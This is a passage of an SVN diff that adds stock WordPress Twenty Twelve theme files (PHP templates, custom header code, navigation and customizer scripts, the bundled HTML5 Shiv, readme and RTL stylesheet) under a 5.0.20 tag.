+ * Grab the IDs of all the image attachments in a gallery so we can get the URL of the next adjacent image in a gallery,
+ * or the first image (if we're looking at the last image in a gallery), or, in a gallery of one, just the link to that image file
+ */
+$attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) );
+foreach ( $attachments as $k => $attachment ) :
+	if ( $attachment->ID == $post->ID )
+		break;
+endforeach;
+
+// If there is more than 1 attachment in a gallery
+if ( count( $attachments ) > 1 ) :
+	$k++;
+	if ( isset( $attachments[ $k ] ) ) :
+		// get the URL of the next image attachment
+		$next_attachment_url = get_attachment_link( $attachments[ $k ]->ID );
+	else :
+		// or get the URL of the first image attachment
+		$next_attachment_url = get_attachment_link( $attachments[0]->ID );
+	endif;
+else :
+	// or, if there's only 1 image, get the URL of the image
+	$next_attachment_url = wp_get_attachment_url();
+endif;
+?>
+								<a href="<?php echo esc_url( $next_attachment_url ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php
+								/**
+ 								 * Filter the image attachment size to use.
+								 *
+								 * @since Twenty Twelve 1.0
+								 *
+								 * @param array $size {
+								 *     @type int The attachment height in pixels.
+								 *     @type int The attachment width in pixels.
+								 * }
+								 */
+								$attachment_size = apply_filters( 'twentytwelve_attachment_size', array( 960, 960 ) );
+								echo wp_get_attachment_image( $post->ID, $attachment_size );
+								?></a>
+
+								<?php if ( ! empty( $post->post_excerpt ) ) : ?>
+								<div class="entry-caption">
+									<?php the_excerpt(); ?>
+								</div>
+								<?php endif; ?>
+							</div><!-- .attachment -->
+
+						</div><!-- .entry-attachment -->
+
+						<div class="entry-description">
+							<?php the_content(); ?>
+							<?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentytwelve' ), 'after' => '</div>' ) ); ?>
+						</div><!-- .entry-description -->
+
+					</div><!-- .entry-content -->
+
+				</article><!-- #post -->
+
+				<?php comments_template(); ?>
+
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/inc/custom-header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/inc/custom-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/inc/custom-header.php	(revision 56912)
@@ -0,0 +1,163 @@
+<?php
+/**
+ * Implement an optional custom header for Twenty Twelve
+ *
+ * See https://codex.wordpress.org/Custom_Headers
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+/**
+ * Set up the WordPress core custom header arguments and settings.
+ *
+ * @uses add_theme_support() to register support for 3.4 and up.
+ * @uses twentytwelve_header_style() to style front end.
+ * @uses twentytwelve_admin_header_style() to style wp-admin form.
+ * @uses twentytwelve_admin_header_image() to add custom markup to wp-admin form.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_custom_header_setup() {
+	$args = array(
+		// Text color and image (empty to use none).
+		'default-text-color'     => '515151',
+		'default-image'          => '',
+
+		// Set height and width, with a maximum value for the width.
+		'height'                 => 250,
+		'width'                  => 960,
+		'max-width'              => 2000,
+
+		// Support flexible height and width.
+		'flex-height'            => true,
+		'flex-width'             => true,
+
+		// Random image rotation off by default.
+		'random-default'         => false,
+
+		// Callbacks for styling the header and the admin preview.
+		'wp-head-callback'       => 'twentytwelve_header_style',
+		'admin-head-callback'    => 'twentytwelve_admin_header_style',
+		'admin-preview-callback' => 'twentytwelve_admin_header_image',
+	);
+
+	add_theme_support( 'custom-header', $args );
+}
+add_action( 'after_setup_theme', 'twentytwelve_custom_header_setup' );
+
+/**
+ * Load our special font CSS file.
+ *
+ * @since Twenty Twelve 1.2
+ */
+function twentytwelve_custom_header_fonts() {
+	$font_url = twentytwelve_get_font_url();
+	if ( ! empty( $font_url ) )
+		wp_enqueue_style( 'twentytwelve-fonts', esc_url_raw( $font_url ), array(), null );
+}
+add_action( 'admin_print_styles-appearance_page_custom-header', 'twentytwelve_custom_header_fonts' );
+
+/**
+ * Style the header text displayed on the blog.
+ *
+ * get_header_textcolor() options: 515151 is default, hide text (returns 'blank'), or any hex value.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_header_style() {
+	$text_color = get_header_textcolor();
+
+	// If no custom options for text are set, let's bail
+	if ( $text_color == get_theme_support( 'custom-header', 'default-text-color' ) )
+		return;
+
+	// If we get this far, we have custom styles.
+	?>
+	<style type="text/css" id="twentytwelve-header-css">
+	<?php
+		// Has the text been hidden?
+		if ( ! display_header_text() ) :
+	?>
+		.site-title,
+		.site-description {
+			position: absolute;
+			clip: rect(1px 1px 1px 1px); /* IE7 */
+			clip: rect(1px, 1px, 1px, 1px);
+		}
+	<?php
+		// If the user has set a custom color for the text, use that.
+		else :
+	?>
+		.site-header h1 a,
+		.site-header h2 {
+			color: #<?php echo $text_color; ?>;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+
+/**
+ * Style the header image displayed on the Appearance > Header admin panel.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_admin_header_style() {
+?>
+	<style type="text/css" id="twentytwelve-admin-header-css">
+	.appearance_page_custom-header #headimg {
+		border: none;
+		font-family: "Open Sans", Helvetica, Arial, sans-serif;
+	}
+	#headimg h1,
+	#headimg h2 {
+		line-height: 1.84615;
+		margin: 0;
+		padding: 0;
+	}
+	#headimg h1 {
+		font-size: 26px;
+	}
+	#headimg h1 a {
+		color: #515151;
+		text-decoration: none;
+	}
+	#headimg h1 a:hover {
+		color: #21759b !important; /* Has to override custom inline style. */
+	}
+	#headimg h2 {
+		color: #757575;
+		font-size: 13px;
+		margin-bottom: 24px;
+	}
+	#headimg img {
+		max-width: <?php echo get_theme_support( 'custom-header', 'max-width' ); ?>px;
+	}
+	</style>
+<?php
+}
+
+/**
+ * Output markup to be displayed on the Appearance > Header admin panel.
+ *
+ * This callback overrides the default markup displayed there.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_admin_header_image() {
+	$style = 'color: #' . get_header_textcolor() . ';';
+	if ( ! display_header_text() ) {
+		$style = 'display: none;';
+	}
+	?>
+	<div id="headimg">
+		<h1 class="displaying-header-text"><a id="name" style="<?php echo esc_attr( $style ); ?>" onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php bloginfo( 'name' ); ?></a></h1>
+		<h2 id="desc" class="displaying-header-text" style="<?php echo esc_attr( $style ); ?>"><?php bloginfo( 'description' ); ?></h2>
+		<?php $header_image = get_header_image();
+		if ( ! empty( $header_image ) ) : ?>
+			<img src="<?php echo esc_url( $header_image ); ?>" class="header-image" width="<?php echo esc_attr( get_custom_header()->width ); ?>" height="<?php echo esc_attr( get_custom_header()->height ); ?>" alt="" />
+		<?php endif; ?>
+	</div>
+<?php }
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/index.php	(revision 56912)
@@ -0,0 +1,66 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * For example, it puts together the home page when no home.php file exists.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+		<?php if ( have_posts() ) : ?>
+
+			<?php /* Start the Loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentytwelve_content_nav( 'nav-below' ); ?>
+
+		<?php else : ?>
+
+			<article id="post-0" class="post no-results not-found">
+
+			<?php if ( current_user_can( 'edit_posts' ) ) :
+				// Show a different message to a logged-in user who can add posts.
+			?>
+				<header class="entry-header">
+					<h1 class="entry-title"><?php _e( 'No posts to display', 'twentytwelve' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php printf( __( 'Ready to publish your first post? <a href="%s">Get started here</a>.', 'twentytwelve' ), admin_url( 'post-new.php' ) ); ?></p>
+				</div><!-- .entry-content -->
+
+			<?php else :
+				// Show the default message to everyone else.
+			?>
+				<header class="entry-header">
+					<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentytwelve' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php _e( 'Apologies, but no results were found. Perhaps searching will help find a related post.', 'twentytwelve' ); ?></p>
+					<?php get_search_form(); ?>
+				</div><!-- .entry-content -->
+			<?php endif; // end current_user_can() check ?>
+
+			</article><!-- #post-0 -->
+
+		<?php endif; // end have_posts() check ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/js/html5.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/js/html5.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/js/html5.js	(revision 56912)
@@ -0,0 +1,8 @@
+/*
+ HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/js/navigation.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/js/navigation.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/js/navigation.js	(revision 56912)
@@ -0,0 +1,55 @@
+/**
+ * Handles toggling the navigation menu for small screens and
+ * accessibility for submenu items.
+ */
+( function() {
+	var nav = document.getElementById( 'site-navigation' ), button, menu;
+	if ( ! nav ) {
+		return;
+	}
+
+	button = nav.getElementsByTagName( 'button' )[0];
+	menu   = nav.getElementsByTagName( 'ul' )[0];
+	if ( ! button ) {
+		return;
+	}
+
+	// Hide button if menu is missing or empty.
+	if ( ! menu || ! menu.childNodes.length ) {
+		button.style.display = 'none';
+		return;
+	}
+
+	button.onclick = function() {
+		if ( -1 === menu.className.indexOf( 'nav-menu' ) ) {
+			menu.className = 'nav-menu';
+		}
+
+		if ( -1 !== button.className.indexOf( 'toggled-on' ) ) {
+			button.className = button.className.replace( ' toggled-on', '' );
+			menu.className = menu.className.replace( ' toggled-on', '' );
+		} else {
+			button.className += ' toggled-on';
+			menu.className += ' toggled-on';
+		}
+	};
+} )();
+
+// Better focus for hidden submenu items for accessibility.
+( function( $ ) {
+	$( '.main-navigation' ).find( 'a' ).on( 'focus.twentytwelve blur.twentytwelve', function() {
+		$( this ).parents( '.menu-item, .page_item' ).toggleClass( 'focus' );
+	} );
+
+  if ( 'ontouchstart' in window ) {
+    $('body').on( 'touchstart.twentytwelve',  '.menu-item-has-children > a, .page_item_has_children > a', function( e ) {
+      var el = $( this ).parent( 'li' );
+
+      if ( ! el.hasClass( 'focus' ) ) {
+        e.preventDefault();
+        el.toggleClass( 'focus' );
+        el.siblings( '.focus').removeClass( 'focus' );
+      }
+    } );
+  }
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/js/theme-customizer.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/js/theme-customizer.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/js/theme-customizer.js	(revision 56912)
@@ -0,0 +1,65 @@
+/**
+ * Customizer enhancements for a better user experience.
+ *
+ * Contains handlers to make Customizer preview reload changes asynchronously.
+ * Things like site title, description, and background color changes.
+ */
+
+( function( $ ) {
+	// Site title and description.
+	wp.customize( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title a' ).text( to );
+		} );
+	} );
+	wp.customize( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		} );
+	} );
+
+	// Header text color
+	wp.customize( 'header_textcolor', function( value ) {
+		value.bind( function( to ) {
+			if ( 'blank' === to ) {
+				$( '.site-title, .site-title a, .site-description' ).css( {
+					'clip': 'rect(1px, 1px, 1px, 1px)',
+					'position': 'absolute'
+				} );
+			} else {
+				$( '.site-title, .site-title a, .site-description' ).css( {
+					'clip': 'auto',
+					'color': to,
+					'position': 'relative'
+				} );
+			}
+		} );
+	} );
+
+	// Hook into background color/image change and adjust body class value as needed.
+	wp.customize( 'background_color', function( value ) {
+		value.bind( function( to ) {
+			var body = $( 'body' );
+
+			if ( ( '#ffffff' == to || '#fff' == to ) && 'none' == body.css( 'background-image' ) )
+				body.addClass( 'custom-background-white' );
+			else if ( '' == to && 'none' == body.css( 'background-image' ) )
+				body.addClass( 'custom-background-empty' );
+			else
+				body.removeClass( 'custom-background-empty custom-background-white' );
+		} );
+	} );
+	wp.customize( 'background_image', function( value ) {
+		value.bind( function( to ) {
+			var body = $( 'body' );
+
+			if ( '' !== to ) {
+				body.removeClass( 'custom-background-empty custom-background-white' );
+			} else if ( 'rgb(255, 255, 255)' === body.css( 'background-color' ) ) {
+				body.addClass( 'custom-background-white' );
+			} else if ( 'rgb(230, 230, 230)' === body.css( 'background-color' ) && '' === wp.customize.instance( 'background_color' ).get() ) {
+				body.addClass( 'custom-background-empty' );
+			}
+		} );
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/page-templates/front-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/page-templates/front-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/page-templates/front-page.php	(revision 56912)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Template Name: Front Page Template
+ *
+ * Description: A page template that provides a key component of WordPress as a CMS
+ * by meeting the need for a carefully crafted introductory page. The front page template
+ * in Twenty Twelve consists of a page content area for adding text, images, video --
+ * anything you'd like -- followed by front-page-only widgets in one or two columns.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php if ( has_post_thumbnail() ) : ?>
+					<div class="entry-page-image">
+						<?php the_post_thumbnail(); ?>
+					</div><!-- .entry-page-image -->
+				<?php endif; ?>
+
+				<?php get_template_part( 'content', 'page' ); ?>
+
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar( 'front' ); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/page-templates/full-width.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/page-templates/full-width.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/page-templates/full-width.php	(revision 56912)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Template Name: Full-width Page Template, No Sidebar
+ *
+ * Description: Twenty Twelve loves the no-sidebar look as much as
+ * you do. Use this page template to remove the sidebar from any page.
+ *
+ * Tip: to remove the sidebar from all posts and pages simply remove
+ * any active widgets from the Main Sidebar area, and the sidebar will
+ * disappear everywhere.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', 'page' ); ?>
+				<?php comments_template( '', true ); ?>
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/page.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * The template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages
+ * and that other 'pages' on your WordPress site will use a
+ * different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', 'page' ); ?>
+				<?php comments_template( '', true ); ?>
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/readme.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/readme.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/readme.txt	(revision 56912)
@@ -0,0 +1,134 @@
+=== Twenty Twelve ===
+Contributors: the WordPress team
+Requires at least: WordPress 3.5
+Tested up to: WordPress 5.0
+Stable tag: 2.8
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, one-column, two-columns, right-sidebar, custom-background, custom-header, custom-menu, editor-style, featured-images, flexible-header, footer-widgets, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready
+
+== Description ==
+The 2012 theme for WordPress is a fully responsive theme that looks great on any device. Features include a front page template with its own widgets, an optional display font, styling for post formats on both index and single views, and an optional no-sidebar page template. Make it yours with a custom menu, header image, and background.
+
+For more information about Twenty Twelve please go to https://codex.wordpress.org/Twenty_Twelve.
+
+== Installation ==
+
+1. In your admin panel, go to Appearance -> Themes and click the 'Add New' button.
+2. Type in Twenty Twelve in the search form and press the 'Enter' key in your keyboard.
+3. Click on the 'Activate' button to use your new theme right away.
+4. Go to https://codex.wordpress.org/Twenty_Twelve for a guide to customize this theme.
+5. Navigate to Appearance > Customize in your admin panel.
+
+== Copyright ==
+
+Twenty Twelve WordPress Theme, Copyright 2012-2018 WordPress.org & Automattic.com
+Twenty Twelve is Distributed under the terms of the GNU GPL
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+Twenty Twelve Theme bundles the following third-party resources:
+
+HTML5 Shiv v3.7.0, Copyright 2014 Alexander Farkas
+Licenses: MIT/GPL2
+Source: https://github.com/aFarkas/html5shiv
+
+== Changelog ==
+
+= 2.8 =
+* Released: January 9, 2019
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_2.8
+
+= 2.7 =
+* Released: December 19, 2018
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_2.7
+
+= 2.6 =
+* Released: December 6, 2018
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_2.6
+
+= 2.5 =
+* Released: May 17, 2018
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_2.5
+
+= 2.4 =
+* Released: November 14, 2017
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_2.4
+
+= 2.3 =
+* Released: June 8, 2017
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_2.3
+
+= 2.2 =
+* Released: December 6, 2016
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_2.2
+
+= 2.1 =
+* Released: August 15, 2016
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_2.1
+
+= 2.0 =
+* Released: April 12, 2016
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_2.0
+
+= 1.9 =
+* Released: December 8, 2015
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_1.9
+
+= 1.8 =
+* Released: August 18, 2015
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_1.8
+
+= 1.7 =
+* Released: April 23, 2015
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_1.7
+
+= 1.6 =
+* Released: December 18, 2014
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_1.6
+
+= 1.5 =
+* Released: September 4, 2014
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_1.5
+
+= 1.4 =
+* Released: May 8, 2014
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_1.4
+
+= 1.3 =
+* Released: October 24, 2013
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_1.3
+
+= 1.2 =
+* Released: August 1, 2013
+
+https://codex.wordpress.org/Twenty_Twelve_Theme_Changelog#Version_1.2
+
+= 1.1 =
+* Released: December 11, 2012
+
+Initial release.
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/rtl.css	(revision 56912)
@@ -0,0 +1,240 @@
+/*
+Theme Name: Twenty Twelve
+Description: Adds support for languages written in a Right To Left (RTL) direction.
+It's easy, just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+See https://codex.wordpress.org/Right_to_Left_Language_Support
+*/
+
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+caption,
+th,
+td {
+	text-align: right;
+}
+
+/* =Repeatable patterns
+-------------------------------------------------------------- */
+
+/* Images */
+.site-content .gallery-columns-4 .gallery-item {
+	padding-left: 2%;
+	padding-right: 0;
+}
+.site-content .gallery-columns-5 .gallery-item {
+	padding-left: 2%;
+	padding-right: 0;
+}
+
+/* Navigation */
+.nav-previous,
+.previous-image {
+	float: right;
+}
+.nav-next,
+.next-image {
+	float: left;
+	text-align: left;
+}
+
+/* Author profiles */
+.author-avatar {
+	float: right;
+}
+.author-description {
+	float: right;
+	margin-right: 15px;
+	margin-right: 1.071428571rem;
+	margin-left: auto;
+}
+
+
+/* =Main Content
+----------------------------------------------- */
+
+.comment-content ol,
+.comment-content ul {
+	margin: 0 24px 0 0;
+	margin: 0 1.714285714rem 0 0;
+}
+
+
+/* =Basic post styling
+-------------------------------------------------------------- */
+
+.entry-content li,
+.comment-content li {
+	margin: 0 24px 0 0;
+	margin: 0 1.714285714rem 0 0;
+}
+.entry-content td,
+.comment-content td {
+	padding: 6px 0 6px 10px;
+}
+
+
+/* Aside posts */
+article.format-aside .aside {
+	border-right: 22px solid #a8bfe8;
+	border-left: none;
+}
+
+/* Link posts */
+article.format-link header {
+	float: left;
+}
+article.format-link .entry-content {
+	float: right;
+}
+
+/* Status posts */
+.format-status .entry-header img {
+	float: right;
+	margin-left: 21px;
+	margin-left: 1.5rem;
+	margin-right: 0;
+}
+
+
+/* =Comment styling
+-------------------------------------------------------------- */
+
+.comments-area article header img {
+	float: right;
+}
+.comments-area article header cite,
+.comments-area article header time {
+	margin-right: 85px;
+	margin-right: 6.071428571rem;
+	margin-left: auto;
+}
+.comments-area article header h4 {
+	left: 0;
+	right: auto;
+}
+.comments-area .bypostauthor cite span {
+	margin-right: 5px;
+	margin-right: 0.357142857rem;
+	margin-left: auto;
+}
+
+/* Comment form */
+#respond h3#reply-title #cancel-comment-reply-link {
+	margin-right: 10px;
+	margin-right: 0.714285714rem;
+	margin-left: auto;
+}
+label ~ span.required {
+	float: right;
+	margin: -18px -16px 0 0;
+	margin: -1.285714286rem -1.142857143rem 0 0;
+}
+#respond #wp-comment-cookies-consent {
+	margin: 0 0 0 10px;
+}
+
+
+/* =Front page template styling
+-------------------------------------------------------------- */
+
+.template-front-page .widget-area .widget_text img {
+	float: right;
+	margin: 8px 0 8px 24px;
+	margin: 0.571428571rem 0 0.571428571rem 1.714285714rem;
+}
+
+
+/* =Widget styling
+-------------------------------------------------------------- */
+
+.widget-area .widget ul ul {
+	margin-right: 12px;
+	margin-right: 0.857142857rem;
+	margin-left: auto;
+}
+.widget-area .textwidget li {
+	margin-left: auto;
+	margin-right: 36px;
+	margin-right: 2.571428571rem;
+}
+.widget_recent_entries .post-date,
+.widget_rss .rss-date {
+	margin-right: 12px;
+	margin-right: 0.857142857rem;
+	margin-left: auto;
+}
+#wp-calendar th,
+#wp-calendar td,
+#wp-calendar caption {
+	text-align: right;
+}
+#wp-calendar #next {
+	padding-left: 24px;
+	padding-left: 1.714285714rem;
+	text-align: left;
+	padding-right: 0;
+}
+
+/* =Media queries
+-------------------------------------------------------------- */
+
+/* Minimum width of 600 pixels. */
+@media screen and (min-width: 600px) {
+	.site-content,
+	.template-front-page.has-post-thumbnail article {
+		float: right;
+	}
+	.widget-area,
+	.entry-page-image {
+		float: left;
+	}
+	.site-header h1,
+	.site-header h2 {
+		text-align: right;
+	}
+	.template-front-page .widget-area .widget_text img {
+		float: right;
+		margin: 8px 0 8px 24px;
+	}
+	.template-front-page .widget-area .widget,
+	.template-front-page.two-sidebars .widget-area .front-widgets {
+		float: right;
+	}
+	.template-front-page .widget-area .widget:nth-child(odd) {
+		clear: left;
+	}
+	.template-front-page .widget-area .widget:nth-child(even),
+	.template-front-page.two-sidebars .widget-area .front-widgets + .front-widgets {
+		float: left;
+		margin: 0 24px 0;
+		margin: 0 1.714285714rem 0;
+	}
+	.main-navigation ul.nav-menu,
+ 	.main-navigation div.nav-menu > ul {
+		text-align: right;
+	}
+	.main-navigation li {
+		margin-left: 40px;
+		margin-left: 2.857142857rem;
+		margin-right: auto;
+	}
+	.main-navigation li ul ul {
+		margin-right: 0;
+		right: 100%;
+		left: auto;
+	}
+	.main-navigation ul li:hover > ul {
+		border-right: 0;
+		border-left: none;
+	}
+	.commentlist .children {
+		margin-right: 48px;
+		margin-right: 3.428571429rem;
+		margin-left: auto;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/search.php	(revision 56912)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * The template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentytwelve' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
+			</header>
+
+			<?php twentytwelve_content_nav( 'nav-above' ); ?>
+
+			<?php /* Start the Loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentytwelve_content_nav( 'nav-below' ); ?>
+
+		<?php else : ?>
+
+			<article id="post-0" class="post no-results not-found">
+				<header class="entry-header">
